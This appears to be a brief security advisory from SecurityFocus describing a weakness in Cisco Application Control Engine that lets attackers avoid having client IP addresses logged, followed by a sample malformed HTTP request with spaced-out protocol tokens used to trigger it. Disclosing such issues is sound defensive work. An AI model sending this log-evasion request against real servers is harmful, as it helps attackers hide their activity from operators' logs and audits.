source: https://www.securityfocus.com/bid/40002/info

Cisco Application Control Engine (ACE) is prone to a security weakness that may allow attackers to obfuscate HTTP server log entries.

Attackers can exploit this issue to avoid having client IP addresses logged by servers. 

GET / HTTP / 1 . 1
HOST: Myserver.com
CONNECTION: KEEP-ALIVE

GET / HTTP/1.1
HOST: Myserver.com
CONNECTION: KEEP-ALIVE